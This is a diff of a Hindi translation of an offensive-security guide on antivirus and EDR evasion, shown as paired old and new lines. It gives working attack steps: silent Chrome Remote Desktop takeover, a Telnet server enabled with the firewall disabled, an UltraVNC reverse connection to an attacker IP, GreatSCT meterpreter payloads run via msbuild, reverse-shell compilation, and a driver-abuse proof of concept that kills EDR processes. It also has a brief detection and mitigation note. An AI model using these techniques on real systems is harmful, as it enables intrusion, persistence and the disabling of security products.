आप अधिक जानकारी इस में पा सकते हैं: **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) और [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**।
|
आप अधिक जानकारी यहां पा सकते हैं: **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||||
|
|
||||||
|
|
||||||
## C# Assembly Reflection
|
## C# Assembly Reflection
|
||||||
|
|
||||||
C# बायनरीज़ को मेमोरी में लोड करना काफी समय से जाना-पहचाना तरीका है और यह अभी भी AV द्वारा पकड़े बिना post-exploitation tools चलाने का एक बेहतरीन तरीका है।
|
C# बाइनरीज़ को memory में लोड करना काफी समय से जाना-पहचाना तरीका है और यह अभी भी आपके post-exploitation tools को AV द्वारा पकड़े बिना चलाने का एक शानदार तरीका है।
|
||||||
|
|
||||||
चूँकि payload सीधे मेमोरी में लोड होगा और डिस्क को टच नहीं करेगा, हमें पूरे process के लिए केवल AMSI को patch करने के बारे में चिंता करनी होगी।
|
चूँकि payload सीधे memory में लोड हो जाएगा और disk को छुएगा नहीं, हमें पूरे process के लिए केवल AMSI को patch करने की चिंता करनी होगी।
|
||||||
|
|
||||||
अधिकांश C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# assemblies को सीधे मेमोरी में execute करने की क्षमता प्रदान करते हैं, पर इसे करने के अलग-अलग तरीके हैं:
|
Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# assemblies को सीधे memory में execute करने की क्षमता प्रदान करती हैं, लेकिन ऐसा करने के अलग-अलग तरीके हैं:
|
||||||
|
|
||||||
- **Fork\&Run**
|
- **Fork\&Run**
|
||||||
|
|
||||||
इसमें **एक नया sacrificial process spawn** किया जाता है, उस नए प्रोसेस में आपका post-exploitation malicious code inject किया जाता है, आपका malicious code execute होता है और खत्म होने पर वह नया प्रोसेस kill कर दिया जाता है। इसके फायदे और नुकसान दोनों हैं। Fork and run के तरीके का फायदा यह है कि execuction हमारे Beacon implant process के बाहर होती है। इसका मतलब है कि अगर हमारी post-exploitation action में कुछ गड़बड़ हो या पकड़ा जाए, तो हमारी **implant के बचने** की संभावना काफी अधिक रहती है। नुकसान यह है कि Behavioural Detections द्वारा पकड़े जाने की आपकी **संभावना अधिक** होती है।
|
यह **एक नया sacrificial process spawn** करने, उस नए process में आपका post-exploitation malicious code inject करने, अपना malicious code execute करने और समाप्त होने पर नए process को kill करने को शामिल करता है। इसके फायदे और नुकसान दोनों हैं। Fork and run विधि का लाभ यह है कि execution हमारे Beacon implant process के **बाहर** होती है। इसका मतलब है कि अगर हमारी post-exploitation कार्रवाई में कुछ गलत हो जाए या पकड़ा जाए, तो हमारे **implant के बचने** की संभावना **काफी अधिक** होती है। नुकसान यह है कि Behavioural Detections द्वारा पकड़े जाने की आपकी **संभावना अधिक** होती है।
|
||||||
|
|
||||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **Inline**
|
- **Inline**
|
||||||
|
|
||||||
यह अपने malicious post-exploitation code को **अपने ही process** में inject करने के बारे में है। इस तरह आप नया प्रोसेस बनाने और AV द्वारा उसे स्कैन कराए जाने से बच सकते हैं, लेकिन नुकसान यह है कि अगर आपके payload के execution में कुछ गड़बड़ हुआ तो आपकी **beacon खो जाने** की संभावना बहुत अधिक है क्योंकि यह crash कर सकता है।
|
यह अपने ही process में post-exploitation malicious code **inject** करने के बारे में है। इस तरह आप एक नया process बनाने और उसे AV द्वारा scan करवाने से बच सकते हैं, लेकिन कमी यह है कि अगर आपके payload के execution के साथ कुछ गलत हो जाता है, तो आपका beacon crash हो सकता है और आपको **बेहद अधिक संभावना** है कि आप अपना beacon **खो दें**।
|
||||||
|
|
||||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> यदि आप C# Assembly loading के बारे में और पढ़ना चाहते हैं, तो इस आर्टिकल को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनका InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
> अगर आप C# Assembly loading के बारे में और पढ़ना चाहते हैं, तो इस लेख को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनका InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||||
|
|
||||||
आप C# Assemblies को **PowerShell** से भी लोड कर सकते हैं, देखें [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
आप C# Assemblies **from PowerShell** से भी लोड कर सकते हैं, देखें [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||||
|
|
||||||
## Using Other Programming Languages
|
## Using Other Programming Languages
|
||||||
|
|
||||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित है, अन्य भाषाओं का उपयोग करके malicious code execute करना संभव है यदि compromised मशीन को attacker-controlled SMB share पर इंस्टॉल किए गए interpreter environment तक access दिया जाए।
|
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), यह संभव है कि अन्य भाषाओं का उपयोग करके malicious code execute किया जाए अगर compromised machine को **the interpreter environment installed on the Attacker Controlled SMB share** तक पहुँच दी जाए।
|
||||||
|
|
||||||
SMB share पर Interpreter Binaries और environment तक access देकर आप compromised मशीन की मेमोरी के अंदर इन भाषाओं में arbitrary code execute कर सकते हैं।
|
SMB share पर Interpreter Binaries और environment को एक्सेस देने से आप compromised मशीन की memory के भीतर इन भाषाओं में **execute arbitrary code in these languages within memory** कर सकते हैं।
|
||||||
|
|
||||||
Repo बताता है: Defender अभी भी scripts को scan करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **static signatures को bypass करने की अधिक लचीलापन** होती है। इन भाषाओं में random un-obfuscated reverse shell scripts के साथ परीक्षण सफल रहे हैं।
|
रिपो बताता है: Defender अभी भी scripts को scan करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **static signatures को bypass करने में अधिक लचीलापन** है। इन भाषाओं में random un-obfuscated reverse shell scripts के साथ परीक्षण सफल रहा है।
|
||||||
|
|
||||||
## TokenStomping
|
## TokenStomping
|
||||||
|
|
||||||
Token stomping एक तकनीक है जो attacker को **access token या किसी security product जैसे EDR या AV** को manipulate करने की अनुमति देती है, जिससे वे उसके privileges कम कर सकते हैं ताकि process मर न जाए पर उसे malicious गतिविधियों की जाँच करने की अनुमति न रहे।
|
Token stomping एक तकनीक है जो attacker को अनुमति देती है कि वह access token या EDR या AV जैसे किसी security product को **manipulate** करे, जिससे वे उसके privileges घटा सकें ताकि प्रक्रिया मर न जाए पर उसके पास malicious activities जांचने की permissions न रहें।
|
||||||
|
|
||||||
इसे रोकने के लिए Windows external processes को security processes के tokens पर handles लेने से रोक सकता है।
|
Windows इसे रोकने के लिए **external processes** को security processes के tokens पर handles प्राप्त करने से रोक सकता है।
|
||||||
|
|
||||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||||
@ -445,27 +477,26 @@ Token stomping एक तकनीक है जो attacker को **access tok
|
|||||||
|
|
||||||
### Chrome Remote Desktop
|
### Chrome Remote Desktop
|
||||||
|
|
||||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, किसी victim के PC पर Chrome Remote Desktop deploy कर के उसे takeover करना और persistence बनाए रखना आसान है:
|
जैसा कि [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, यह आसान है कि आप पीड़ित के PC में Chrome Remote Desktop तैनात करें और फिर इसका उपयोग takeover और persistence बनाए रखने के लिए करें:
|
||||||
1. https://remotedesktop.google.com/ से डाउनलोड करें, "Set up via SSH" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल डाउनलोड करने के लिए MSI फ़ाइल पर क्लिक करें।
|
1. https://remotedesktop.google.com/ से डाउनलोड करें, "Set up via SSH" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल डाउनलोड करने के लिए MSI फ़ाइल पर क्लिक करें।
|
||||||
2. victim पर silently installer चलाएँ (admin आवश्यकता): `msiexec /i chromeremotedesktophost.msi /qn`
|
2. पीड़ित पर इंस्टॉलर को silently चलाएँ (admin आवश्यक): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||||
3. Chrome Remote Desktop पेज पर वापस जाएं और next पर क्लिक करें। विज़ार्ड फिर आपसे authorization मांगेगा; जारी रखने के लिए Authorize बटन पर क्लिक करें।
|
3. Chrome Remote Desktop पेज पर वापस जाएँ और next पर क्लिक करें। विज़ार्ड आपको authorize करने के लिए कहेगा; जारी रखने के लिए Authorize बटन पर क्लिक करें।
|
||||||
4. दिए गए पैरामीटर को कुछ समायोजन के साथ execute करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें pin पैरामीटर जो GUI का उपयोग किए बिना pin सेट करने की अनुमति देता है)。
|
4. दिए गए पैरामीटर को कुछ समायोजनों के साथ execute करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (नोट: pin param आपको GUI का उपयोग किए बिना pin सेट करने की अनुमति देता है).
|
||||||
|
|
||||||
|
|
||||||
## Advanced Evasion
|
## Advanced Evasion
|
||||||
|
|
||||||
Evasion एक बहुत ही जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई अलग-अलग telemetry स्रोतों को ध्यान में रखना पड़ता है, इसलिए परिपक्व वातावरणों में पूरी तरह से undetected रहना लगभग असंभव है।
|
Evasion एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई अलग-अलग telemetry स्रोतों को ध्यान में रखना पड़ता है, इसलिए mature environments में पूरी तरह undetected रहना लगभग असंभव है।
|
||||||
|
|
||||||
हर environment के अपने strengths और weaknesses होंगे।
|
हर environment जिसकी आप समीक्षा करते हैं, उसके अपने strengths और weaknesses होंगे।
|
||||||
|
|
||||||
मैं आपको अत्यधिक प्रोत्साहित करता हूं कि आप [@ATTL4S](https://twitter.com/DaniLJ94) की इस talk को देखें, ताकि Advanced Evasion techniques में एक foothold मिल सके।
|
मैं आपको प्रोत्साहित करता हूँ कि आप [@ATTL4S](https://twitter.com/DaniLJ94) की यह टॉक देखें, ताकि आप Advanced Evasion तकनीकों में एक foothold प्राप्त कर सकें।
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
यह [@mariuszbit](https://twitter.com/mariuszbit) की Evasion in Depth पर एक और शानदार talk भी है।
|
यह [@mariuszbit](https://twitter.com/mariuszbit) की Evasion in Depth पर एक और बेहतरीन टॉक भी है।
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -476,49 +507,49 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
|||||||
|
|
||||||
### **Check which parts Defender finds as malicious**
|
### **Check which parts Defender finds as malicious**
|
||||||
|
|
||||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो बाइनरी के हिस्सों को हटाता जाएगा जब तक कि यह पता न लगा ले कि Defender किस हिस्से को malicious मान रहा है और आपको उसे विभाजित करके दिखा देगा।\
|
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो बाइनरी के हिस्सों को **हटा** देगा जब तक कि यह **पता न लगा ले कि Defender किस हिस्से को malicious मान रहा है** और उसे आप तक विभाजन करके पहुँचा देगा।\
|
||||||
एक और टूल जो यही काम करता है वह है [**avred**](https://github.com/dobin/avred) जिसका एक सार्वजनिक वेब सर्विस [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर उपलब्ध है।
|
एक और टूल जो यही काम करता है वह है [**avred**](https://github.com/dobin/avred) और इसकी सर्विस वेब पर उपलब्ध है [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Telnet Server**
|
### **Telnet Server**
|
||||||
|
|
||||||
Windows10 आने तक, सभी Windows में एक **Telnet server** आता था जिसे आप (administrator के रूप में) इस तरह इंस्टॉल कर सकते थे:
|
Until Windows10, सभी Windows में एक **Telnet server** आता था जिसे आप (administrator के रूप में) इंस्टॉल कर सकते थे करके:
|
||||||
```bash
|
```bash
|
||||||
pkgmgr /iu:"TelnetServer" /quiet
|
pkgmgr /iu:"TelnetServer" /quiet
|
||||||
```
|
```
|
||||||
इसे सिस्टम शुरू होने पर **start** होने के लिए सेट करें और अभी इसे **run** करें:
|
सिस्टम के शुरू होते ही इसे **start** कराएँ और इसे अभी **run** करें:
|
||||||
```bash
|
```bash
|
||||||
sc config TlntSVR start= auto obj= localsystem
|
sc config TlntSVR start= auto obj= localsystem
|
||||||
```
|
```
|
||||||
**telnet port बदलें** (stealth) और firewall अक्षम करें:
|
**telnet port बदलें** (stealth) और firewall को अक्षम करें:
|
||||||
```
|
```
|
||||||
tlntadmn config port=80
|
tlntadmn config port=80
|
||||||
netsh advfirewall set allprofiles state off
|
netsh advfirewall set allprofiles state off
|
||||||
```
|
```
|
||||||
### UltraVNC
|
### UltraVNC
|
||||||
|
|
||||||
डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको bin downloads चाहिए, setup नहीं)
|
इसे डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको bin downloads चाहिए, setup नहीं)
|
||||||
|
|
||||||
**ON THE HOST**: Execute _**winvnc.exe**_ और server को configure करें:
|
**ON THE HOST**: _**winvnc.exe**_ को चलाएँ और सर्वर कॉन्फ़िगर करें:
|
||||||
|
|
||||||
- विकल्प _Disable TrayIcon_ सक्षम करें
|
- विकल्प _Disable TrayIcon_ को सक्षम करें
|
||||||
- _VNC Password_ में पासवर्ड सेट करें
|
- _VNC Password_ में पासवर्ड सेट करें
|
||||||
- _View-Only Password_ में पासवर्ड सेट करें
|
- _View-Only Password_ में पासवर्ड सेट करें
|
||||||
|
|
||||||
फिर, बाइनरी _**winvnc.exe**_ और **नई बनाई गई** फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर रखें
|
फिर, बाइनरी _**winvnc.exe**_ और **नया** बनाया गया फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर स्थानांतरित करें।
|
||||||
|
|
||||||
#### **Reverse connection**
|
#### **Reverse connection**
|
||||||
|
|
||||||
The **attacker** को अपने **host** पर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह reverse **VNC connection** पकड़ने के लिए तैयार रहे। फिर, **victim** के अंदर: winvnc daemon `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` चलाएँ
|
**attacker** को अपने **host** पर बाइनरी `vncviewer.exe -listen 5900` **अंदर चलाना** चाहिए ताकि यह reverse **VNC connection** पकड़ने के लिए **तैयार** रहे। फिर, **victim** के अंदर: winvnc daemon `winvnc.exe -run` शुरू करें और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||||
|
|
||||||
**WARNING:** Stealth बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए
|
**WARNING:** गुप्तता बनाए रखने के लिए आपको कुछ चीज़ें नहीं करनी चाहिए
|
||||||
|
|
||||||
- `winvnc` को तब शुरू न करें यदि यह पहले से चल रहा है वरना आप एक [popup](https://i.imgur.com/1SROTTl.png) trigger कर देंगे। चल रहा है या नहीं जांचने के लिए `tasklist | findstr winvnc`
|
- यदि `winvnc` पहले से चल रहा है तो इसे न चलाएँ, वरना आप एक [popup](https://i.imgur.com/1SROTTl.png) ट्रिगर कर देंगे। `tasklist | findstr winvnc` से जांचें कि यह चल रहा है
|
||||||
- उसी डायरेक्टरी में `UltraVNC.ini` के बिना `winvnc` शुरू न करें वरना यह [the config window](https://i.imgur.com/rfMQWcf.png) खोल देगा
|
- उसी निर्देशिका में `UltraVNC.ini` के बिना `winvnc` न चलाएँ अन्यथा यह [the config window](https://i.imgur.com/rfMQWcf.png) खोल देगा
|
||||||
- मदद के लिए `winvnc -h` चलाने से बचें वरना आप एक [popup](https://i.imgur.com/oc18wcu.png) trigger कर देंगे
|
- `winvnc -h` मदद के लिए न चलाएँ वरना आप एक [popup](https://i.imgur.com/oc18wcu.png) ट्रिगर कर देंगे
|
||||||
|
|
||||||
### GreatSCT
|
### GreatSCT
|
||||||
|
|
||||||
डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
इसे डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||||
```
|
```
|
||||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||||
cd GreatSCT/setup/
|
cd GreatSCT/setup/
|
||||||
@ -536,19 +567,19 @@ sel lport 4444
|
|||||||
generate #payload is the default name
|
generate #payload is the default name
|
||||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||||
```
|
```
|
||||||
अब `msfconsole -r file.rc` के साथ **start the lister** शुरू करें और **xml payload** को **execute** करें:
|
अब **lister** को `msfconsole -r file.rc` से शुरू करें और **xml payload** को निम्नानुसार **execute** करें:
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||||
```
|
```
|
||||||
**Current Defender बहुत जल्दी process को समाप्त कर देगा।**
|
**वर्तमान Defender बहुत जल्दी प्रक्रिया को समाप्त कर देगा।**
|
||||||
|
|
||||||
### अपने खुद के reverse shell को कम्पाइल करना
|
### हमारी अपनी reverse shell को कंपाइल करना
|
||||||
|
|
||||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||||
|
|
||||||
#### पहला C# Revershell
|
#### पहला C# Reverse shell
|
||||||
|
|
||||||
इसे कम्पाइल करें:
|
इसे कंपाइल करें:
|
||||||
```
|
```
|
||||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||||
```
|
```
|
||||||
@ -629,7 +660,7 @@ catch (Exception err) { }
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### C# using कम्पाइलर
|
### C# कंपाइलर का उपयोग
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||||
```
|
```
|
||||||
@ -664,11 +695,11 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
|||||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||||
|
|
||||||
### Python का उपयोग करके बिल्ड इंजेक्टर का उदाहरण:
|
### build injectors बनाने के लिए python का उपयोग — उदाहरण:
|
||||||
|
|
||||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||||
|
|
||||||
### अन्य टूल
|
### अन्य tools
|
||||||
```bash
|
```bash
|
||||||
# Veil Framework:
|
# Veil Framework:
|
||||||
https://github.com/Veil-Framework/Veil
|
https://github.com/Veil-Framework/Veil
|
||||||
@ -693,28 +724,28 @@ https://github.com/TheWover/donut
|
|||||||
# Vulcan
|
# Vulcan
|
||||||
https://github.com/praetorian-code/vulcan
|
https://github.com/praetorian-code/vulcan
|
||||||
```
|
```
|
||||||
### अधिक
|
### और
|
||||||
|
|
||||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
## Bring Your Own Vulnerable Driver (BYOVD) – Kernel Space से AV/EDR को नष्ट करना
|
||||||
|
|
||||||
Storm-2603 ने एक छोटे console utility जिसे <code>Antivirus Terminator</code> कहा जाता है, का उपयोग करके endpoint सुरक्षा को अक्षम किया और फिर ransomware गिराई। यह tool अपना खुद का vulnerable लेकिन *signed* driver लाता है और इसे गलत तरीके से उपयोग करके privileged kernel operations जारी करता है जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
Storm-2603 ने एक छोटी console utility जिसे **Antivirus Terminator** कहा जाता है, का उपयोग endpoint सुरक्षा को डिसेबल करने के लिए किया था इससे पहले कि यह ransomware डाले। यह टूल अपना **खुद का vulnerable परंतु *signed* ड्राइवर** लाता है और इसे दुरुपयोग करके privileged kernel ऑपरेशन्स जारी करता है जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
||||||
|
|
||||||
Key take-aways
|
मुख्य बिंदु
|
||||||
1. **Signed driver**: डिस्क पर जो फ़ाइल डिलीवर की जाती है वह `ServiceMouse.sys` है, लेकिन बाइनरी असल में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से signed driver `AToolsKrnl64.sys` है। क्योंकि driver पर एक मान्य Microsoft signature है, यह तब भी लोड हो जाता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है।
|
1. **साइन किए गए ड्राइवर**: डिस्क पर डिलीवर की गई फाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” का वैध रूप से साइन किया हुआ ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर पर मान्य Microsoft सिग्नेचर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है।
|
||||||
2. **Service installation**:
|
2. **Service installation**:
|
||||||
```powershell
|
```powershell
|
||||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||||
sc start ServiceMouse
|
sc start ServiceMouse
|
||||||
```
|
```
|
||||||
पहली लाइन driver को एक **kernel service** के रूप में रजिस्टर करती है और दूसरी लाइन इसे शुरू करती है ताकि `\\.\ServiceMouse` user land से उपलब्ध हो जाए।
|
पहली लाइन ड्राइवर को एक **kernel service** के रूप में रजिस्टर करती है और दूसरी लाइन इसे शुरू कर देती है ताकि `\\.\ServiceMouse` user land से पहुँच योग्य हो जाए।
|
||||||
3. **IOCTLs exposed by the driver**
|
3. **IOCTLs exposed by the driver**
|
||||||
| IOCTL code | Capability |
|
| IOCTL code | Capability |
|
||||||
|-----------:|-----------------------------------------|
|
|-----------:|-----------------------------------------|
|
||||||
| `0x99000050` | PID द्वारा किसी भी प्रक्रिया को समाप्त करना (Defender/EDR services को मारने के लिए उपयोग किया गया) |
|
| `0x99000050` | PID द्वारा किसी भी प्रक्रिया को समाप्त करना (Defender/EDR सेवाओं को खत्म करने के लिए उपयोग किया गया) |
|
||||||
| `0x990000D0` | डिस्क पर किसी भी arbitrary फ़ाइल को हटाना |
|
| `0x990000D0` | डिस्क पर किसी भी फाइल को डिलीट करना |
|
||||||
| `0x990001D0` | ड्राइवर को unload करना और सेवा को हटाना |
|
| `0x990001D0` | ड्राइवर को अनलोड करना और सर्विस को हटाना |
|
||||||
|
|
||||||
Minimal C proof-of-concept:
|
Minimal C proof-of-concept:
|
||||||
```c
|
```c
|
||||||
@ -728,30 +759,30 @@ CloseHandle(hDrv);
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
4. **Why it works**: BYOVD user-mode सुरक्षा को पूरी तरह स्किप कर देता है; kernel में चलने वाला कोड protected processes को खोल सकता है, उन्हें terminate कर सकता है, या kernel objects के साथ छेड़छाड़ कर सकता है चाहे PPL/PP, ELAM या अन्य hardening फीचर्स मौजूद हों।
|
4. **क्यों यह काम करता है**: BYOVD पूरी तरह से user-mode सुरक्षा को स्किप कर देता है; kernel में 실행 होने वाला कोड *protected* processes को खोल सकता है, उन्हें समाप्त कर सकता है, या kernel ऑब्जेक्ट्स के साथ छेड़छाड़ कर सकता है, चाहे PPL/PP, ELAM या अन्य hardening सुविधाएँ मौजूद हों।
|
||||||
|
|
||||||
Detection / Mitigation
|
पता लगाने / निवारण
|
||||||
• Microsoft के vulnerable-driver block list (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से इनकार करे।
|
• Microsoft की vulnerable-driver block list (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से इनकार कर दे।
|
||||||
• नए *kernel* services के निर्माण की निगरानी करें और अलर्ट करें जब कोई ड्राइवर world-writable directory से लोड किया जाए या allow-list पर न हो।
|
• नए *kernel* सर्विसेस के निर्माण की निगरानी करें और अलर्ट करें जब किसी world-writable निर्देशिका से ड्राइवर लोड हो या वह allow-list पर मौजूद न हो।
|
||||||
• कस्टम device objects के लिए user-mode handles और उसके बाद होने वाले संदिग्ध `DeviceIoControl` कॉल्स पर नजर रखें।
|
• custom device objects के लिए user-mode handles और उसके बाद suspicious `DeviceIoControl` कॉल्स पर नज़र रखें।
|
||||||
|
|
||||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
### Zscaler Client Connector Posture Checks को On-Disk Binary Patching के द्वारा बाईपास करना
|
||||||
|
|
||||||
Zscaler’s Client Connector स्थानीय रूप से device-posture नियम लागू करता है और परिणामों को अन्य घटकों को संप्रेषित करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण bypass को संभव बनाते हैं:
|
Zscaler’s Client Connector स्थानीय रूप से device-posture rules लागू करता है और परिणामों को अन्य कंपोनेंट्स तक पहुँचाने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिजाइन विकल्प एक पूर्ण बाईपास संभव बनाते हैं:
|
||||||
|
|
||||||
1. Posture evaluation पूरी तरह से client-side पर होता है (एक boolean सर्वर को भेजा जाता है)।
|
1. Posture evaluation पूरी तरह client-side पर होता है (एक boolean सर्वर को भेजा जाता है)।
|
||||||
2. Internal RPC endpoints केवल यह सत्यापित करते हैं कि connecting executable Zscaler द्वारा signed है (via `WinVerifyTrust`)।
|
2. Internal RPC endpoints केवल यह मान्य करते हैं कि connecting executable **Zscaler द्वारा साइन** किया गया है (via `WinVerifyTrust`)।
|
